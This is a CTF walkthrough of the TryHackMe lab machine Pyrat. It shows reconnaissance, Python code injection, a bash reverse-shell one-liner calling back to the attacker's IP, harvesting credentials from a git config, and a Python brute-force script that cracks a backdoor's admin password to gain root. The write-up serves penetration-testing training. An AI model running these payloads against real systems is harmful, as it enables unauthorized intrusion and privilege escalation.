CTF Walkthrough for TryHackMe Machine Pyrat
Introduction
Greetings everyone, in this walkthrough, we will talk about Pyrat a TryHackMe machine. This walkthrough is not only meant to catch the flag but also to demonstrate how a penetration tester will approach this machine in a real-world assessment.
Machine Description
Name: Pyrat
Difficulty: Easy
Operating System: Linux
Machine link: Pyrat
Tools used
1) Nmap
Reconnaissance
We will start by performing a service scan on the target to enumerate services running on open ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(pentester㉿kali)-[~/…/Challenge/Pyrat/Scans/Service]
└─$ sudo nmap -n 10.10.153.86 -sV -sC -oN service-scan.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-04 07:43 BST
<SNIP>
Nmap scan report for 10.10.153.86
Host is up (0.51s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
<SNIP>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 195.59 seconds
The target runs an SSH and a simple Python HTTP server. Let’s visit the web application running on port 8000.
1
2
3
┌──(pentester㉿kali)-[~/…/Challenge/Pyrat/Scans/Service]
└─$ curl http://10.10.153.86:8000
Try a more basic connection
There is a message that tells us to initiate a basic connection with the server. This connection can be done using Netcat.
1
2
3
┌──(pentester㉿kali)-[~/…/Challenge/Pyrat/Scans/Service]
└─$ nc -nv 10.10.153.86 8000
(UNKNOWN) [10.10.153.86] 8000 (?) open
We have connected to the server. When we input random strings, we will receive another error message that the string is not defined.
1
2
3
4
5
6
┌──(pentester㉿kali)-[~/…/Challenge/Pyrat/Scans/Service]
└─$ nc -nv 10.10.153.86 8000
(UNKNOWN) [10.10.153.86] 8000 (?) open
<SNIP>
ls
name 'ls' is not defined
Since this is a Python server, let’s try to input Python code to see if this code will be executed.
1
2
3
4
5
6
┌──(pentester㉿kali)-[~/…/Challenge/Pyrat/Scans/Service]
└─$ nc -nv 10.10.153.86 8000
(UNKNOWN) [10.10.153.86] 8000 (?) open
<SNIP>
print(5+5)
10
Exploitation
The code is executed hence we can execute Python code on the target. We can use this Python code execution on the target to execute a reverse shell and obtain RCE on the target. We first need to start a listener on our attack host.
1
2
3
┌──(pentester㉿kali)-[~/…/Challenge/Pyrat/Misc Files]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
Now that the listener is set, let’s import the os module and execute a reverse shell on the target using the system() function.
1
2
3
import os
os.system("/bin/bash -c 'bash -i >& /dev/tcp/10.8.23.19/1234 0>&1'")
When we go back to our listener, we will notice a reverse connection from the target. We can upgrade this shell to a fully interactive shell using the commands below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(pentester㉿kali)-[~/…/Challenge/Pyrat/Misc Files]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.23.19] from (UNKNOWN) [10.10.153.86] 60072
bash: cannot set terminal process group (583): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ ^Z
zsh: suspended nc -lvnp 1234
┌──(pentester㉿kali)-[~/…/Challenge/Pyrat/Scans/Service]
└─$ stty raw -echo;fg
[1] + continued nc -lvnp 1234
export TERM=xterm
www-data@Pyrat:~$
We have obtained a foothold as the www-data user. A quick enumeration of the file system will reveal a .git folder. This contains a pair of credentials for the Think local user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
www-data@Pyrat:/$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Jun 2 2023 .
drwxr-xr-x 18 root root 4096 Dec 22 2023 ..
drwxr-x--- 5 think think 4096 Jun 21 2023 think
www-data@Pyrat:/$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 Jun 21 2023 .
drwxr-xr-x 18 root root 4096 Dec 22 2023 ..
drwxrwxr-x 3 think think 4096 Jun 21 2023 dev
www-data@Pyrat:/$ ls -la /opt/dev
total 12
drwxrwxr-x 3 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Jun 21 2023 .git
www-data@Pyrat:/$ ls -la /opt/dev/.git/
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
www-data@Pyrat:/$ cat /opt/dev/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = <REDACTED>
Let’s use these credentials to log in as the local user Think. We can use this access on the system to read the user flag.
1
2
3
4
www-data@Pyrat:/$ su think
Password:
think@Pyrat:/$ ls /home/think/
snap user.txt
Post Exploitation
When we look at the services running locally on the target, we will notice that port 25 is open. Port 25 is the default port for SMTP protocol so let. The presence of this protocol may indicate that mail messages can be found on the system.
1
2
3
4
5
6
7
8
9
think@Pyrat:/$ netstat -nlt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25
We can browse to the default directory where mail files are stored.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
think@Pyrat:/$ cd /var/mail
think@Pyrat:/var/mail$ ls
root think www-data
think@Pyrat:/var/mail$ cat think
From root@pyrat Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
This directory indeed contained an email sent to the Think user. This mail indicates that a tool named RAT made by Jose has been downloaded from Github to the target system and may be running. We can look at processes running on the target system to confirm if this tool is running or not.
1
2
3
4
5
6
7
think@Pyrat:~$ ps -aux | grep -i rat
root 583 0.0 0.0 2608 408 ? Ss 06:35 0:00 /bin/sh -c python3 /root/pyrat.py 2>/dev/null
root 584 2.4 2.1 21864 10576 ? S 06:35 2:24 python3 /root/pyrat.py
root 755 1.8 2.1 587496 10328 ? Sl 06:35 1:51 python3 /root/pyrat.py
www-data 102616 0.0 1.9 22152 9336 ? S 07:17 0:00 python3 /root/pyrat.py
think 103218 0.0 0.1 6432 656 pts/0 S+ 08:15 0:00 grep --color=auto -i pyrat
think@Pyrat:~$
Now that we have confirmed that this tool is running on the target, we can make a Google search to learn more about the tool. The keywords “pyrat.py Github Jose” will be sufficient to find the tool.
This tool appears to be a CTF toolkit used to run a backdoor on the system. This toolkit can also give us admin access to the machine it’s running on. This will be possible because our enumeration above reveals that the tool is run by the root user. This admin can be accessed by entering admin after connecting to the HTTP server and it is protected by a password. Let’s analyse the code to understand the authentication procedure.
We can see that the authentication is very simple. After we have typed admin and pressed Enter, we are prompted with the string Password: where we are supposed to enter the password. If this password is corrected we are greeted with a Welcome message otherwise we are given two other trials. We can manually attempt a brute force attack, but this will take too long. Let’s automate the process with this Python script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket
import sys
port = 8000
passfile = sys.argv[1]
with open(passfile) as f:
for password in f:
s = socket.socket()
s.connect(('10.10.153.86', port))
s.send('admin'.encode())
buffer = s.recv(1024).decode()
s.send(password.encode())
response = s.recv(1024).decode()
print(f"[-] Trying {password.strip()} ........")
if "Welcome" in response:
print(f"[+] Password: {password}")
break
s.close()
We can store the Python script in a file and run it with a password wordlist file.
1
2
3
4
5
6
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Pyrat/Misc File]
└─$ python3 bruteforcer.py /usr/share/seclists/Passwords/darkweb2017-top10000.txt
[-] Trying 123456 ........
<SNIP>
[-] Trying <REDACTED> ........
[+] Password: <REDACTED>
We have cracked the password to access the admin endpoint. We can use this password to obtain a root shell remotely on the target and read the root flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(pentester㉿kali)-[~/…/TryHackMe/Challenge/Pyrat/Misc File]
└─$ nc -nv 10.10.153.86 8000
(UNKNOWN) [10.10.153.86] 8000 (?) open
admin
Password:
<REDACTED>
Welcome Admin!!! Type "shell" to begin
shell
# whoami
whoami
root
# ls /root
ls /root
pyrat.py root.txt snap
#
Conclusion
Congratulations! In this walkthrough, you have learned how to exploit a remote access toolkit protected with weak passwords in this case Pyrat. This remote access toolkit could be a web shell used during a penetration testing assessment. If not well protected this could be exploited by an attacker to enter your client’s environment. This machine was designed to show the danger of protecting remote access toolkits using weak credentials could seriously impact an organisation’s security posture. Thanks for following up on this walkthrough.